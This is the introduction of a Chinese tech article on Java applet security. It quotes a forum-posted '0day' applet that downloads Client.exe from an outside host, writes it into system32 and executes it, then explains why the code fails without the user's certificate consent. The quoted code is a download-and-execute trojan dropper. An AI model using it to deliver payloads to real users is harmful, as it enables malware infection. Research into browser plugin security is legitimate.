【IT168专稿】引言
因为一个0day,让作者对java applet心血来潮,随着不断的失败,发现了一个又一个安全特性。本文提醒大家,除了activeX,还有这么一种东西,一旦出现了安全隐患,也会帮大家做些什么。如果你要找“0DAY”,请掠过;如果你要找“如何使用APPLET下载木马”,请看下集;如果你喜欢研究“applet可能存在的安全隐患”,请从这里开始。
第一部分 一个“0day”狂想
最近常听见有朋友说“只有跨站执行脚本才是王道”,但是我想,每一门艺术(技术),都有自己的独到的美(特性),就像后门除了使用“特洛伊”,还有可以用很多微小的途径,拼合起来,就可能达到比它更加完美的效果。
论坛上某帖发出一篇通杀FF和IE的0DAY代码:
。。。。。。。。。。。。。。。。。。。。。。。省略
public class Client extends Applet //继承applet
{
public void start() //重写applet的主要方法
{
。。。。。。。。。。。。。。。。。。。。。。。省略
System.out.println(“aaa”); //如果进入了这个方法,会打印“aaa”
URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe");
//楼上代码,定义了要从这个地址中拿文件。
bufferedoutputstream=newBufferedOutputStream(new FileOutputStream("C:\\windows\\system32 //楼上把拿下来的文件放到system32下
\\Client.exe"));
URLConnection urlconnection = url.openConnection(); //打开SOCKET链接
inputstream = urlconnection.getInputStream(); //取得文件的流
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i); //把文件写入
。。。。。。。。。。。。。。。。。。。。。。。省略
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec("C:\\windows\\system32\\Client.exe");
//楼上要去执行文件
。。。。。。。。。。。。。。。。。。。。。。。省略
说实话,刚拿到代码时很兴奋,看起来只要用户只要浏览applet的页面,就可以自动执行JAVA(applet),在用户的机器上乱写乱画。这是多么美妙的事情啊,只要用户装了jre,就完蛋了。于是跟贴发表评论,解读这段代码的含义,甚至还发表了改进的看法。但是等朋友让我写出改进的代码,才在不断的实践中发现自己的回帖完全是纸上谈兵。
Java applet可以用来点缀html的页面,让它更加花哨,更加吸引MM的目光。某种程度上,它和微软的activeX是一个级别的,都是用来扩展HTML效果。如果搜索“java applet”,可能会搜索到《java applet向activeX下跪》这篇文章,applet曾经风光一时,后来被微软的activeX垄断。但是毕竟功能还在,也就是说,值得探究的安全性因素还在。虽然必须要安装JRE环境才可以执行,但是毕竟可以“祸害一部分人”,随着sun的“进一步战略”,也许这个家伙有一天还会冒出来。
在网上找了applet安全的文章,也就那么可怜兮兮的几篇。大概内容都是先列举了他的写文件代码,然后告诉读者这些危险动作默认是不可做的,只有用户同意了安全证书,才会在用户的policy里加入“读,写,执行”等权限。但是你如果真的在问用户“嘿!哥们儿,咱有个东西,你先点同意,同意我在哥们儿脸上写点东西,同意我看看哥们儿暗恋的MM,同意我控制哥们儿几天,同意。。。。”。作者没那么深的钓鱼功力让用户签订不平等条约,所以,本文就不探讨当用户签订安全证书后发生的安全隐患了,因为那真的等于让用户使用最高权限执行一段不可预知的代码。
要研究applet的安全,首先要打开浏览器(IE,FF),工具--?SUN java控制台,右下角会出现冒火的咖啡,右键选择“打开控制面板”,打开“高级”选项卡,选中“调试”里的勾。